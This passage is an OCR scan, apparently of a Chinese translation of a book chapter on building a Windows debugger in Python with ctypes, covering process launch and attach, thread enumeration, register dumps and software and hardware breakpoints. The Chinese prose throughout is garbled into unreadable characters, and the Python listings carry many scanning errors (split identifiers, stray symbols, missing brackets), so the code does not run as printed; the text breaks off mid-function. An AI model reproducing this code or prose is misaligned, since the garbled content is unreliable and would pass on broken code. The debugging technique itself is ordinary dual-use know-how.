PROCESS_INFORMATION), AL T #ERE W] )5 8, L&A 8 MV 2 3245 B

( IpStartupInfo : STARTUPINFO 45 #), H T 75 @) & v 8k B2 i W & &% A g 1%,

IpProcessInformation: PROCESS INFORMATION g4y, HRAEREFEENE 5 BN &
A ARGIHE D

BB Python L my debugger.py 1 my debugger defines.py. FA 1461 1 — A4~k
debugger() 4 ZE W & Mo kg . S4h, A MEK, BE, W sk
my_debugger defines.py J7{# LLJ5 i

# my_debugger_defines.py
from ctypes import *
# Let's map the Microsoft types to ctypes for clarity

WORD = ¢_ushort

DWORD =c ulong

LPBYTE = POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE =c¢_void p

# Constants

DEBUG_PROCESS = 0x00000001
CREATE NEW_CONSOLE = 0x00000010
# Structures for CreateProcessA() function
class STARTUPINFO(Structure):

_fields_ =
"cb", DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),

("dwX", DWORD),



("dwyY", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),
("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute",DWORD),
("dwFlags", DWORD),
("wShowWindow", = WORD),
("cbReserved2", = WORD),
("IpReserved2", LPBYTE),

("hStdInput", HANDLE),
("hStdOutput”, ~ HANDLE),
("hStdError", HANDLE),

]
class PROCESS INFORMATION(Structure):

fields =]
("hProcess”,  HANDLE),
("hThread", HANDLE),

("dwProcessId", DWORD),
("dwThreadld", DWORD),

# my_debugger.py
from ctypes import *
from my_debugger defines import *
kernel32 = windll.kernel32
class debugger():
def init (self):
pass
def load(self,path_to_exe):
# dwCreation flag determines how to create the process
# set creation_flags = CREATE NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS
# instantiate the structs
startupinfo = STARTUPINFO()
process_information = PROCESS INFORMATION()
# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affect
# the debuggee.
startupinfo.dwFlags =0x1
startupinfo.wShowWindow = 0x0



# We then initialize the cb variable in the STARTUPINFO struct
# which is just the size of the struct itself
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path to exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):
print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld
else:
print "[*] Error: 0x%08x." % kernel32.GetLastError()

DUAE A TR Ryt — A L ) U OB e f 3 — R — VIR REIE W T ] my _test.py, f&
LR R SCAFARAE R — A H R

#my_test.py

import my_debugger

debugger = my_debugger.debugger()
debugger.load("C:\WINDOWS\\system32\\calc.exe")

WA AR &I i AT EE IDE Fal N BRI, B2 A A R Al 2 bt
AR 4, SRJGIRPIEERE ID (PID), a4l WS ARH L6l 7 calc.exe, VR¥EHAZE
THERLAS R B S B e DR A E RE AT 40 S h i 21 e 5 b, B S A A 4R S AT 1) i
Lo ARPRIRATF A AN LLPAT T LT o AR AT, FATSEILBN T W] = A — AR
M, AR RSB S —AThag, MY s — M EAEIs T it .

T BT E HBERE, A UGS B0 B A . VF 2 )5 TS 21 00 el B A A
ZH RN FRATT A BEAE R B A 2 A AR e Can SR I AT, s 1),
IXANMT-45 HH OpenProcess()7¢ %, MR EH kernel32.dll FE(RH, 5T
HANDLE WINAPI OpenProcess(

DWORD dwDesiredAccess,

BOOL bInheritHandle

DWORD dwProcessld

dwDesiredAccess SR IE T HA A A EAT IS RE TG AT 2 RE IR (4R &
B K Bk % root is hack ) o PR A ZE AT K, T AT B PROCESS_ALL ACCESS .
bInheritHandle 2% ¥ & )i False, dwProcessld Z %1% & A1 B IAF AR ID , 1



HUE TR PID . WER R BRI AT, K5 [l —A> HARKERE B AU

$2 R K ] DebugActiveProcess()b& 5B i 21 H AR HERE :
BOOL WINAPI DebugActiveProcess(
DWORD dwProcessld

)

HE a MM PID fE AN — H RGN IATABERY7 ) Hbr it i, H st REwtEOE
FATH AL A A A KA, ARG R A3 R B2 25 T s . IR B 1IE
U WaitForDebugEvent() AMEAZ IR I F 4. s 58 an T -

BOOL WINAPI WaitForDebugEvent(

LPDEBUG_EVENT IpDebugEvent,

DWORD dwMilliseconds

B NZH 5 DEBUG EVENT 45K, XASERHA T — MRS 3B ANk
B INFINITE CIERRZ5E4%), IXFE WaitForDebugEvent() stAN iR [A], — H 545 H 3 — 3
e,

VR A B (0 A — AN AT AH IR S b 1 R 0, AR PP 4k B AT 1 W] LA 58 AN 7]
MR AE o Ak B ek B o8 B T R AR, A A S BE R AR SR AT ], Xk A
ContinueDebugEvent(). JRAI 1T
BOOL WINAPI ContinueDebugEvent(

DWORD dwProcessld,

DWORD dwThreadld,

DWORD dwContinueStatus

dwProcessId F1 dwThreadld Z%{ i DEBUG EVENT £5#4 BB 78, 24 2l 42
PR A s, gl WaitForDebugEvent() il S04 T (A%, HEFE ID AR FE 1D wl LA
KMAIEAE T « dwContinueStatus 22 VR /2 40244 T(DBG_CONTINUE), 2724k 5
#(DBG_EXCEPTION NOT HANDLED).

R A, NERE S B ok 3EIERE ID 443345 DebugActiveProcessStop()s

MAEBMNEIX LA ALE—, § RN my debugger 25, ikAbIHA B n A 25—
HREDIRE . [N EFTIF— AN R ARG AR FOR I B8 0 o B S AEBRAT T =08 28 FL 58 i
AL PR g # . $TTT my debugger.py B LA LIS,

TN T E IS R, G R B XAE T debugger defines.py SO, SE# AL ]
P http://www.nostarch.com/ghpython.htm %,



#my_debugger.py

from ctypes import *

from my_ debugger defines import *
kernel32 = windll.kernel32

class debugger():
def init (self):
self.h_process = None
self.pid = None
self.debugger active = False

def load(self,path_to_exe):

print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld
# Obtain a valid handle to the newly created process
# and store it for future access
self.h_process = self.open_process(process_information.dwProcessld)

def open_process(self,pid):
h_process = kernel32.0penProcess(PROCESS ALL ACCESS,pid,False)
return h_process
def attach(self,pid):
self.h_process = self.open_process(pid)
# We attempt to attach to the process
# if this fails we exit the call
if kernel32.DebugActiveProcess(pid):
self.debugger active = True
self.pid = int(pid)
self.run()
else:
print "[*] Unable to attach to the process."
def run(self):
# Now we have to poll the debuggee for
# debugging events
while self.debugger active == True:
self.get_debug event()
def get debug event(self):
debug_event =DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# We aren't going to build any event handlers
# just yet. Let's just resume the process for now.
raw_input("Press a key to continue...")
self.debugger active = False



kernel32.ContinueDebugEvent( \
debug_event.dwProcessld, \
debug_event.dwThreadld, \
continue_status )
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
return True
else:
print "There was an error"

return False

AR FRAT G 5 MR LA B 1 A 1) R 5
#my_test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.detach()
FZ LU A BREAT IR (windows T ):
1. EFE JHR->I8AT > A e -> I AF-> T 540
2. AR AR AR 4582, IR HH RS B rp i AT 55 JLEs
3 FEHERE IR,
4 M BARKE S| PID £, 1k BHE->EEY
S5 ORBEREAR VART (PID) HI 1HI A AE 2 I 11, AR5 Hdi OK.
6.4 3 calc.exe AL PID
7047 my_test.py [F] IS Fif 0 $.2 ) PID %45 ¢
8. Press a key to continue...¥] EI7E b Fe bR, A BAETH B A A0 0T o URIN A2 S
AT o XSRS R T, PR
9. AR Python #Z 1l & HAZATAT B, MACK AL R R, #ZEETR.
10 IUAEARBEBS A H AR T

SRl A 2 1) FEIE S A, 38 FRIPIAT A my_debugger.py HERE

# raw_input("Press any key to continue...")
# self.debugger active = False

MAETATC LU T ARBCIERE A RERE AR, DL g — A0, I n—AMig7
MIRERE, T RAERAIG IS A 2 = DI fg .

3.23k18 CPU HHEERE



— NS D AR O EAT AT R ARSI AR 2] CPU (W & ZFAEAR IR . 4 R AR I
X e FATHE R APRE,  HATIEEDIT TR 244, DUl — 2R A AR R
LY H I, 8 G ERI R 6 H AR AR 2R A0, XA DIRET OpenThread()SE B
PR A R G

HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL blnheritHandle,
DWORD dwThreadld

)

XFE KR 15 OpenProcess()FIH KR EL, Br T IX K2 HZFEFRIRTT (thread identifier TID)
2 T HERERRIRAT (PID).

BTG RAF—ANPATHE FIRE T W T A R 1 — N HUER, ARG B RAT A,
H OpenThread() 3% B & (9 A0 W o ik TWF 50 F WA 7 — > R % B A 2 2 (Cenumerate
threads) .

3.2.1 WA &2

H T AR AR R A A AR PPIRES, BRATT M2 R 3 P A IEAEAS AT (2R . S
SERERE R BRI BAT R ORI MGG Z T 1D, BN REP AR Z &R, shad
R, T, TIMX—DIRen & — 98 K & 2L CreateToolhelp32Snapshot(), ‘&
kernel32.dll ‘3t o IXANBREREMCZE AN BERE N BT A AR AL, LUK (DLLs)
FIZ, CAACGHRE T FIHE K . R AN R
HANDLE WINAPI CreateToolhelp32Snapshot(

DWORD dwFlags,

DWORD th32ProcessID

dwFlags Z8bra& T IRA 1T BRI B (L6, HERE, Bidk, sl d. X HIK
It e i & B TH32CS_SNAPTHREAD, tHii/2& 0x00000004, R/~ FATE LN snapshot
HT A CAVEN T 4R . th32ProcessID A& A TR AT EE e B BE R, A e LR
TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and
TH32CS_SNAPALL X JLAMEEAT H] % TH32CS_SNAPTHREAD 1] 4 A4 JH ik (1
HiW ). 24 CreateToolhelp32Snapshot()ifi Tl mt 4 ik [Fl— MR BT S AI0E, % T
S P R 50 DA 4 4 B 2 1R A

— HIRAMIN I ks TR, FefImlfe
Thread32FirstOM 25 EA1 T « BRERTWF -

BOOL WINAPI Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY?32 Ipte



);

hSnapshot 4 /& I i 1 & CreateToolhelp32Snapshot() 3k #3 5i 14 f A, Ipte 8 W] — >
THREADENTRY32 254y CLZiIaa i) X ANE5HI7E Thread32First()E W H ) 5 H 835
78, HAPREE TR — AR FRERIA G E . gt LR

typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadID,;
DWORD th320wnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;

LE XA G5 8 T Bl TS 1 (1 /2 dwSize, th32ThreadID, A1 th320wnerProcessID 3 NS4,
dwSize W21t Thread32First() il F Z Bi#Iaa4k, R EH ¥ B i THREADENTRY32 451411
KNEEATELT o th32ThreadID 2 J AT B AL AX AN LR TID, 3XANZ 80T LU i i i it
ff) OpenThread() BRI H LLFTIFILERRE, HEATH#EAE . th320wnerProcessID H 78 T 4l
LB SFEMPID. N T ELELENE THRAMM KN H R, 2%
th320wnerProcessID [FI{ELFT H AR FEFEXS LG, AHSE 3 B AN 26 2 FRATTIEAE A . —H 3K
TS T — ARG B, FRATAEE L I FH Thread32Next()FRHUI A1 1)~ — N FE 4%
H. ‘B MIZ %M Thread32First()—+f. EFHH Thread32Next() . 2151 3 K A i o

3.2.2 EFrAERAEKEK

IMAETRATC ARG T — DR A B, 55— P 2R B A3 . X
FLl i GetThreadContext()>KSZHL . [FIFEFAT I AEH SetThreadContext()ii A& &1 1.

BOOL WINAPI GetThreadContext(

HANDLE hThread,
LPCONTEXT IpContext

)i

BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT IpContext



hThread Z4(7& M\ OpenThread() i[9 ({2 FE F1J4H, IpContext #5117 — CONTEXT &4,
HARfE Ak T BT A7 4001 . CONTEXT dEH E 2, & LR

typedef struct CONTEXT {

DWORD ContextFlags;
DWORD  Dr0;
DWORD Drl;
DWORD  Dr2;
DWORD  Dr3;
DWORD  Drb6;
DWORD  Dr7;
FLOATING_SAVE AREA FloatSave;
DWORD  SegGs;
DWORD  SegFs;
DWORD  SegEs;
DWORD  SegDs;
DWORD  Edi
DWORD  Esi;
DWORD  Ebx;
DWORD  Edx;
DWORD  Ecx;
DWORD Eax;
DWORD  Ebp;
DWORD  Eip;
DWORD  SegCs;
DWORD  EFlags;
DWORD  Esp;
DWORD  SegSs;
BYTE ExtendedRegisterssy MAXIMUM_SUPPORTED EXTENSIONT;

WARUE WA 1 A2 e XA FI R T, BT A B g . 7ETA 1T 1Y
TAEH, B REAEH B AN, BT USRI S S K
EFANIREFH RN Z A my debugger.py AEEEP FE e, B0 MIMZS 26 Rk B &5 A7

DR .

#my_debugger.py

class debugger():

def open_thread (self, thread id):

thread_id)

h_thread = kernel32.0penThread(THREAD ALL ACCESS, None,

if h_thread is not None:



return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False
def enumerate threads(self):
thread _entry = THREADENTRY32()
36 Chapter 3

thread list =[]
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS
_SNAPTHREAD, self.pid)
if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread entry.dwSize = sizeof(thread_entry)
success = kernel32.Thread32First(snapshot,
byref(thread_entry))
while success:
if thread entry.th320wnerProcessID == self.pid:
thread_list.append(thread entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref(thread_entry))
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get thread context (self, thread_id):
context = CONTEXT()
context.ContextFlags = CONTEXT FULL | CONTEXT DEBUG REGISTERS
# Obtain a handle to the thread
h thread = self.open_thread(thread id)
if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h_thread)
return context
else:
return False

TS DAY AT, AEEATER A BTG NI RE .

#my_test.py

import my_debugger

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))



list = debugger.enumerate threads()

# For each thread in the list we want to
# grab the value of each of the registers
Building a Windows Debugger 37

for thread in list:
thread context = debugger.get thread context(thread)
# Now let's output the contents of some of the registers
print "[*] Dumping registers for thread ID: 0x%08x" % thread
print "[**] EIP: 0x%08x" % thread context.Eip
print "[**] ESP: 0x%08x" % thread context.Esp
print "[**] EBP: 0x%08x" % thread context.Ebp
print "[**] EAX: 0x%08x" % thread context.Eax
print "[**] EBX: 0x%08x" % thread context.Ebx
print "[**] ECX: 0x%08x" % thread context.Ecx
print "[**] EDX: 0x%08x" % thread context.Edx
print "[*] END DUMP"

debugger.detach()

HPRISAT AR, FIORE B RIS R 3-1 WO i Hodh .

Enter the PID of the process to attach to: 4028
[*] Dumping registers for thread ID: 0x00000550
[**] EIP: 0x7c90eb%4

[**] ESP: 0x0007fde0

[**] EBP: 0x0007fdfc

[**] EAX: 0x006ee208

[**] EBX: 0x00000000

[**] ECX: 0x0007fdd8

[**] EDX: 0x7c90eb9%4

[*] END DUMP

[*] Dumping registers for thread ID: 0x000005¢c0
[**] EIP: 0x7c95077b

[**] ESP: 0x0094fff8

[**] EBP: 0x00000000

[**] EAX: 0x00000000

[**] EBX: 0x00000001

[**] ECX: 0x00000002

[**] EDX: 0x00000003

[*] END DUMP

[*] Finished debugging. Exiting...

Listing 3-1:A N AL CPU %5741

KEET U BATBHEREW AT T I S B AT A AF s PR T IR P AR RS



BREAF R AL R BN ETRATE 2058 B 1 B T A% A% 00 B, R I 18] S — L L
PR AL PR AL T .

3.3 SCIL A A B

h T ARFRATI IR #S RO BT R g 1) AR IBCH N TR AT 3, FRATI 2620045 A7 A28 e
R IR F A, SRR L. 7] 22 FE WaitForDebugEvent() p&EL, 9 eHlifes]—
AR FAE R, FURFl—ANAFELF T (1 DEBUG_EVENT £5#4. 2 B ATTHS 20 b i A
S5, AR AR SEAT T 25, IUAETRATEL P AR A e 454 FL R4 R e T Ab PR AT
DEBUG _EVENT & X1 F:

typedef struct DEBUG_EVENT {

DWORD dwDebugEventCode;

DWORD dwProcessld;

DWORD dwThreadld;

union {
EXCEPTION DEBUG INFO Exception;
CREATE THREAD DEBUG INFO CreateThread,
CREATE PROCESS DEBUG INFO CreateProcessInfo;
EXIT THREAD DEBUG INFO ExitThread;
EXIT PROCESS DEBUG INFO ExitProcess;
LOAD DLL DEBUG_INFO LoadDIl;
UNLOAD DLL DEBUG INFO UnloadDIL;
OUTPUT _DEBUG_STRING_INFO DebugString;
RIP_INFO Riplnfo;

hu;

XA EER TR Z A M5 )8 . dwDebugEventCode f& i LB, ‘B3R M T &4
P4 WaitForDebugEvent() €% o RN PE T, 7RIS (union yu BAFAH )24 KA
M. u B A48 & 5 dwDebugEventCode ¥R 7€, — XNl F:

Event Code Event Code Value Union u Value

0x1 EXCEPTION DEBUG EVENT u.Exception

0x2 CREATE THREAD DEBUG EVENT u.CreateThread

0x3 CREATE PROCESS DEBUG EVENT u.CreateProcessInfo
0x4 EXIT THREAD DEBUG EVENT u.ExitThread

0x5 EXIT PROCESS DEBUG EVENT u.ExitProcess

0x6 LOAD DLL DEBUG EVENT u.LoadDll

0x7 UNLOAD DLL DEBUG EVENT u.UnloadDIl

0x8 OUPUT DEBUG _STRING _EVENT u.DebugString



0x9 RIP_EVENT u.RipInfo
Table 3-1: i F 1

1 i %% dwDebugEventCode 14, sk L 1HT 1) 3 8 £k 21 -5 2 AHXS Y A7 AE u HL
A LEFRAMESOAEEN, WA W AR M, B Suar R AN FAEE . X
SeAE R, FRATREES T BRI A 8 S ECE M — AN KRS A TR . 4R AT
my_debugger.py il our my test.py A,
#my_debugger.py

class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None

def get debug_event(self):
debug event =DEBUG_EVENT()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE

# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThread
self.context = self.get thread context(self.h_thread

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThre
kernel32.ContinueDebugEvent(
debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )
#my _test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()



WRAR I calc.exe, HrtRan R pTR:
Enter the PID of the process to attach to: 2700
3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
4 Thread ID:

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

3976
3976
3976
3976
3976
3976
3976
3976
3976
3976
3912
3912
3912

Listing 3-2: %] cacl.exe I ) FHAEARHY

ST AR S, FA1AF #) CREATE PROCESS EVENT (0x3)Z {12 5 — AN R A1,
B P kM & — M ) LOAD DLL DEBUG EVENT (0x6) H fF , R J5
CREATE THREAD DEBUG EVENT (0x2) i # — /™ ¥ & # . # & #t & — 1
EXCEPTION_DEBUG_EVENT (0x1)#14b=f44F, ‘&t windows & W sl s | & 1, FRVFAE
HEFEJE shr s FE IR AS . B — NS 4F /2 EXIT_THREAD DEBUG_EVENT (0x4), ‘¥
HHERE 3912 &5 G2k

B AN AR O, BN eI A, VR S, B AT AR (B 2R
BN NAFR D). P X Se iR B, (R kA el # 55 — > windows & (1)
Wr &i. $TJF my debugger.py HIALLFACHS:

#my_debugger.py
class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.exception = None
self.exception_address = None

def get debug_event(self):



debug event =DEBUG_EVENT()

continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadld)
self.context = self.get thread context(self.h_thread)

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadld)
# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION DEBUG EVENT:
# Obtain the exception code
exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCod
self.exception_address =
debug_event.u.Exception.ExceptionRecord.ExceptionAdd
if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_ BREAKPOINT:
continue_status = self.exception_handler breakpoint()
elif ec == EXCEPTION_GUARD PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_SINGLE STEP:
print "Single Stepping."
kernel32.ContinueDebugEvent( debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )

def exception_handler breakpoint():
print "[*] Inside the breakpoint handler."
print "Exception Address: 0x%08x" %
self.exception_address
return DBG_ CONTINUE

W RARFF IS AT IZA A, R 21 by A E W R S A BE bR BT BN AR B H 45 2R AT
Lo T AR T R DA A T AR AR PSR o T SR AT TR A (1 S BT = AN 7] S B I
Ak B PR H



3.4 S HERT T A

PHERATE AT T REWEIE R I AT I A A0, RN AW G D RE T JHERAAE
BRI, SEOLRERAE, BEAE, NAF =R . 3R S 0k R T A B
PR, B AR R 2 JE T R R R

341  BHHMA

H T BCE AW, AT RS K I S N HAR BRI N AF . X B
ReadProcessMemory() I WriteProcessMemory()SZH. &A1 AE & AH4LL:

BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytesRead

);
BOOL WINAPI WriteProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPCVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytesWritten
);

X P A oR FCAS o R R U % R0 TR b R R B N AE . S A R AR T
IpBaseAddress J& % JT 4f 52 ok & 45 (1) H Ar sk, IpBuffer f5 ) —He g2 pb X, H R4 Ik
IpBaseAddress 1t 1) 24 5% 5 A 1pBaseAddress » nSize s A2 E 1 4 K,
IpNumberOfBytesWritten FH &£, 8 ik & FRATT A8 6% K — RV 5 S B s 5 T (14K
i o

IRAELEFRAT T T 2% SE I A BT A 25 5 T o B SORER A% 002, ASCHR BB N
A BRERAT: T 1o

#my_debugger.py

class debugger():

def init (self):
self.h_process = None
self.pid = None

self.debugger active = False



self.h_thread = None
self.context = None
self.breakpoints = {}

defread process memory(self,address,length):

data ="
read_buf = create_string_buffer(length)
count =¢_ulong(0)

if not kernel32.ReadProcessMemory(self.h_process,
address,
read_buf,
length,
byref(count)):

return False

else:
data +=read bufraw
return data
def write process memory(self,address,data):
count =c_ulong(0)
length = len(data)
¢ _data=c _char p(data[count.value:])
if not kernel32. WriteProcessMemory(self.h_process,
address,
c_data,
length,
byref(count)):
return False
else:
return True
defbp_set(self,address):
if not self.breakpoints.has_key(address):
try:
# store the original byte
original byte = self.read process memory(address, 1)
# write the INT3 opcode
self.write process memory(address, "\xCC")
# register the breakpoint in our internal list
self.breakpoints[address] = (address, original byte)
except:
return False
return True



AR RS O A SR AT AT, BRATFHF ZE A k3 & — M . — R RO B A
PR FH T, R TR
SEaGy, AT ZE A printfOVE ¥ Z a0 H ARk 2. Windows 138 API #&4L T iV 1)
L VAR E — N R B e S 3L, GetProcAddress(), [FIFEH &M kernel32.dll S HIF). XA
BRACTR N FESHu S — M (—AS dll B —
exe M) AR B — AL S T FAT IO HR(1) pR 4L
AL GetModuleHandle() 3k A BEER (1) Al o JR IR

FARPROC WINAPI GetProcAddress(

HMODULE hModule,
LPCSTR IpProcName

);

HMODULE WINAPI GetModuleHandle(
LPCSTR IpModuleName

);

RO MBI SRR PR MBI RO, AR5 B R 3 R B (1 R £
ko ARFATEE ISR EL  SERNIA . (B2 my debugger.py.o

my_debugger.py
class debugger():

def func_resolve(self,dll,function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)

return address

ARG S AN IRRELE, PEA B printf(). FRATTREM AT o £ ) bk
SRGAEIX N HhE B — AW . 2 RS s ik, BtEEE WA 4, S E R R
PREEPATHEIA . B —NH Y Python JHIAS printf loop.py, #HiA FIHIAGHY.

#printf_loop.py

from ctypes import *

import time

msvert = cdll.msvert

counter = 0

while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter +=1

AR HIRELE, MNBIHERE, 76 printf() L & K7 5.



#my_test.py

import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf address = debugger.func_resolve("msvert.dll","printf")
print "[*] Address of printf: 0x%08x" % printf address
debugger.bp set(printf address)

debugger.run()

WAETFIEINAR, 76 dr 247 HLIZAT printf_loop.py. )\ Windows {T- 55 P 2% HL 3K 75 python.exe
] PID. #RJ5IZ1T my test.py , A PID. VRKEH 2T 1%

Enter the PID of the process to attach to: 4048
[*] Address of printf: 0x77c4186a
[*] Setting breakpoint at: 0x77c4186a

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

[*] Exception address: 0x7¢901230

3 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
2 Thread ID
1 Thread ID

: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
13620
13620

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148

[*] Exception address: 0x77c4186a

[*] Hit user defined breakpoint.

Listing 3-3: Ab A Wr o5 =28 1 A i



AT SCH B printf) ) & B IELE 0x77c4186a, R JG{EIX L B W k. 55—l F)
1) 5 5 2t Windows ¥ B 1 W7 f il A ) o 58 AN e A I U lE A 0x 77041864, tH )72 printf()
PR hE . W7 AR IS, R AEER . IUAEBRATI IR A D SR W L, B
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3.4.2 TEAFWT S
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EFRATIF IR A2 HERE B AT 2R, ARG SRIBCEAT I CPU P48 DL i 743 31 N 45 4%
UL, 3RAIREWS ¢ 3¢ DRO # DR3
AT —AS, b E S HEsW i bl . 2 JSIRATIAE DR7 Z5 4748 AR IR 1 1 B B
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#my_debugger.py

class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

defbp_set hw(self, address, length, condition):
# Check for a valid length value
if length not in (1, 2, 4):
return False
else:
length =1

# Check for a valid condition
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):

return False



# Check for available slots

if not self.hardware breakpoints.has_key(0):
available = 0

elif not self.hardware breakpoints.has_key(1):
available = 1

elif not self. hardware breakpoints.has_key(2):
available = 2

elif not self. hardware breakpoints.has_key(3):
available = 3

else:

return False

# We want to set the debug register in every thread
for thread_id in self.enumerate threads():
context = self.get thread context(thread id=thread id)

# Enable the appropriate flag in the DR7
# register to set the breakpoint
context.Dr7 |= 1 << (available * 2)

# Save the address of the breakpoint in the
# free register that we found
if  available == 0:
context.Dr0 = address
elif available == 1:
context.Drl = address
elif available == 2:
context.Dr2 = address
elif available == 3:
context.Dr3 = address

# Set the breakpoint condition
context.Dr7 |= condition << ((available * 4) + 16)

# Set the length
context.Dr7 |= length << ((available * 4) + 18)

# Set thread context with the break set
h thread = self.open_thread(thread id)
kernel32.SetThreadContext(h_thread,byref(context))

# update the internal hardware breakpoint array at the used
# slot index.
self.hardware breakpoints[available] = (address,length,condition)



return True

IS AN AR R T B, RATIERE T — D2 BRI A A G R T i —
HIRAAF RN AL, B T AP 502 R bl 4 7 i () i SN TR Z5 A7 28, 2R )5 4T DR7 HIdR&
PEIEAT B FTIE M I, S s IR RATT DA RE S AL IR PEIRT 05 T, AR FRATE B SR
T pR EZR I —> INTL F B () 5 Ab 3

#my_debugger.py
class debugger():

def get debug_event(self):

if self.exception == EXCEPTION ACCESS VIOLATION:
print "Access Violation Detected."

elif self.exception == EXCEPTION BREAKPOINT:
continue_status = self.exception_handler breakpoint()

elif self.exception == EXCEPTION GUARD PAGE:
print "Guard Page Access Detected."

elif self.exception == EXCEPTION_SINGLE STEP:

self.exception_handler single step()

def exception_handler single step(self):
# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & 0x1 and self.hardware breakpoints.has key(0):
slot=0
elif self.context.Dr6 & 0x2 and self.hardware breakpoints.has key(1):
slot =1
elif self.context.Dr6 & 0x4 and self.hardware breakpoints.has key(2):
slot =2
elif self.context.Dr6 & 0x8 and self.hardware breakpoints.has key(3):
slot=3
else:
# This wasn't an INT1 generated by a hw breakpoint

continue_status = DBG_EXCEPTION_NOT HANDLED
# Now let's remove the breakpoint from the list



if self.bp_del hw(slot):
continue_status = DBG_CONTINUE
print "[*] Hardware breakpoint removed."
return continue_status
def bp_del hw(self,slot):
# Disable the breakpoint for all active threads
for thread_id in self.enumerate threads():
context = self.get thread context(thread id=thread id)
# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))
# Zero out the address

if  slot==0:

context.Dr0 = 0x00000000
elif slot==1:

context.Drl = 0x00000000
elif slot == 2:

context.Dr2 = 0x00000000
elif slot == 3:

context.Dr3 = 0x00000000
# Remove the condition flag
context.Dr7 &= ~(3 << ((slot * 4) + 16))
# Remove the length flag
